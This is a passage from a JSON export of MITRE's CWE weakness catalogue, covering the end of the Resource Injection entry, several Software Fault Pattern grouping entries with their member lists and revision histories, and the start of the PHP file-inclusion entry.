relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 \"Resource Injection,\" as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the \"identifier used to access a system resource\" such as a file name or port number, yet it explicitly states that the \"resource injection\" term does not apply to \"path manipulation,\" which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer."}]}, "Content_History": {"Submission": {"Submission_Name": "7 Pernicious Kingdoms", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Organization": "KDM Analytics", "Modification_Date": "2008-08-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "added/updated white box definitions"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "KDM Analytics", "Modification_Date": "2009-07-17", "Modification_Version": "1.5", "Modification_ReleaseDate": "2009-07-27", "Modification_Comment": "Improved the White_Box_Definition"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-07-27", "Modification_Version": "1.5", "Modification_ReleaseDate": "2009-07-27", "Modification_Comment": "updated White_Box_Definitions"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences, Other_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Alternate_Terms, Maintenance_Notes, Other_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-07-17", "Modification_Version": "2.5", "Modification_ReleaseDate": "2013-07-17", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Alternate_Terms, Description, Relationship_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-01-19", "Modification_Version": "2.10", "Modification_ReleaseDate": "2017-01-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Related_Attack_Patterns, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, White_Box_Definitions"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated References, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Other_Notes, Potential_Mitigations, References, Relationships, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Description, Modes_of_Introduction, Name, References"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "Resource Injection"}, {"@Date": "2009-05-27", "#text": "Insufficient Control of Resource Identifiers (aka 'Resource Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Control of Resource Identifiers ('Resource Injection')"}]}, "entry_type": "Weakness", "ranking": 114.0}, {"@ID": "989", "@Name": "SFP Secondary Cluster: Unrestricted Lock", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).", "Relationships": {"Has_Member": {"@CWE_ID": "412", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "988", "@Name": "SFP Secondary Cluster: Race Condition Window", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).", "Relationships": {"Has_Member": [{"@CWE_ID": "362", "@View_ID": "888"}, {"@CWE_ID": "363", "@View_ID": "888"}, {"@CWE_ID": "367", "@View_ID": "888"}, {"@CWE_ID": "370", "@View_ID": "888"}, {"@CWE_ID": "638", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "987", "@Name": "SFP Secondary Cluster: Multiple Locks/Unlocks", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).", "Relationships": {"Has_Member": [{"@CWE_ID": "585", "@View_ID": "888"}, {"@CWE_ID": "764", "@View_ID": "888"}, {"@CWE_ID": "765", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "986", "@Name": "SFP Secondary Cluster: Missing Lock", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).", "Relationships": {"Has_Member": [{"@CWE_ID": "364", "@View_ID": "888"}, {"@CWE_ID": "366", "@View_ID": "888"}, {"@CWE_ID": "368", "@View_ID": "888"}, {"@CWE_ID": "413", "@View_ID": "888"}, {"@CWE_ID": "414", "@View_ID": "888"}, {"@CWE_ID": "543", "@View_ID": "888"}, {"@CWE_ID": "567", "@View_ID": "888"}, {"@CWE_ID": "609", "@View_ID": "888"}, {"@CWE_ID": "662", "@View_ID": "888"}, {"@CWE_ID": "663", "@View_ID": "888"}, {"@CWE_ID": "667", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "985", "@Name": "SFP Secondary Cluster: Unrestricted Consumption", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).", "Relationships": {"Has_Member": [{"@CWE_ID": "400", "@View_ID": "888"}, {"@CWE_ID": "674", "@View_ID": "888"}, {"@CWE_ID": "770", "@View_ID": "888"}, {"@CWE_ID": "774", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "984", "@Name": "SFP Secondary Cluster: Life Cycle", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "664", "@View_ID": "888"}, {"@CWE_ID": "666", "@View_ID": "888"}, {"@CWE_ID": "675", "@View_ID": "888"}, {"@CWE_ID": "694", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "983", "@Name": "SFP Secondary Cluster: Faulty Resource Use", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).", "Relationships": {"Has_Member": [{"@CWE_ID": "416", "@View_ID": "888"}, {"@CWE_ID": "672", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "982", "@Name": "SFP Secondary Cluster: Failure to Release Resource", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).", "Relationships": {"Has_Member": [{"@CWE_ID": "404", "@View_ID": "888"}, {"@CWE_ID": "459", "@View_ID": "888"}, {"@CWE_ID": "771", "@View_ID": "888"}, {"@CWE_ID": "772", "@View_ID": "888"}, {"@CWE_ID": "773", "@View_ID": "888"}, {"@CWE_ID": "775", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "981", "@Name": "SFP Secondary Cluster: Path Traversal", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).", "Relationships": {"Has_Member": [{"@CWE_ID": "22", "@View_ID": "888"}, {"@CWE_ID": "23", "@View_ID": "888"}, {"@CWE_ID": "24", "@View_ID": "888"}, {"@CWE_ID": "25", "@View_ID": "888"}, {"@CWE_ID": "26", "@View_ID": "888"}, {"@CWE_ID": "27", "@View_ID": "888"}, {"@CWE_ID": "28", "@View_ID": "888"}, {"@CWE_ID": "29", "@View_ID": "888"}, {"@CWE_ID": "30", "@View_ID": "888"}, {"@CWE_ID": "31", "@View_ID": "888"}, {"@CWE_ID": "32", "@View_ID": "888"}, {"@CWE_ID": "33", "@View_ID": "888"}, {"@CWE_ID": "34", "@View_ID": "888"}, {"@CWE_ID": "35", "@View_ID": "888"}, {"@CWE_ID": "36", "@View_ID": "888"}, {"@CWE_ID": "37", "@View_ID": "888"}, {"@CWE_ID": "38", "@View_ID": "888"}, {"@CWE_ID": "39", "@View_ID": "888"}, {"@CWE_ID": "40", "@View_ID": "888"}, {"@CWE_ID": "41", "@View_ID": "888"}, {"@CWE_ID": "42", "@View_ID": "888"}, {"@CWE_ID": "428", "@View_ID": "888"}, {"@CWE_ID": "43", "@View_ID": "888"}, {"@CWE_ID": "44", "@View_ID": "888"}, {"@CWE_ID": "45", "@View_ID": "888"}, {"@CWE_ID": "46", "@View_ID": "888"}, {"@CWE_ID": "47", "@View_ID": "888"}, {"@CWE_ID": "48", "@View_ID": "888"}, {"@CWE_ID": "49", "@View_ID": "888"}, {"@CWE_ID": "50", "@View_ID": "888"}, {"@CWE_ID": "51", "@View_ID": "888"}, {"@CWE_ID": "52", "@View_ID": "888"}, {"@CWE_ID": "53", "@View_ID": "888"}, {"@CWE_ID": "54", "@View_ID": "888"}, {"@CWE_ID": "55", "@View_ID": "888"}, {"@CWE_ID": "56", "@View_ID": "888"}, {"@CWE_ID": "57", "@View_ID": "888"}, {"@CWE_ID": "58", "@View_ID": "888"}, {"@CWE_ID": "66", "@View_ID": "888"}, {"@CWE_ID": "67", "@View_ID": "888"}, {"@CWE_ID": "706", "@View_ID": "888"}, {"@CWE_ID": "72", "@View_ID": "888"}, {"@CWE_ID": "73", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "980", "@Name": "SFP Secondary Cluster: Link in Resource Name Resolution", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).", "Relationships": {"Has_Member": [{"@CWE_ID": "386", "@View_ID": "888"}, {"@CWE_ID": "59", "@View_ID": "888"}, {"@CWE_ID": "610", "@View_ID": "888"}, {"@CWE_ID": "62", "@View_ID": "888"}, {"@CWE_ID": "64", "@View_ID": "888"}, {"@CWE_ID": "65", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "98", "@Name": "Improper Control of Filename for Include/Require Statement in PHP Program", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Draft", "Description": "The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in \"require,\" \"include,\" or similar functions.", "Dimensions": {"Dimension": [{"@Type": "Behavior-Property", "#text": "Improper"}, {"@Type": "Behavior-Type", "#text": "Control"}, {"@Type": "Resource-Type", "#text": "Filename"}, {"@Type": "Code-Type", "#text": "Include/Require Statement"}, {"@Type": "Language-Type", "#text": "PHP"}, {"@Type": "Code-Type", "#text": "Program"}, {"@Type": "Common-Name", "#text": "PHP Remote File Inclusion\""}]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "706", "@View_ID": "1000"}, {"@Nature": "ChildOf", "@CWE_ID": "829", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "94", "@View_ID": "1000"}, {"@Nature": "CanAlsoBe", "@CWE_ID": "426", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Name": 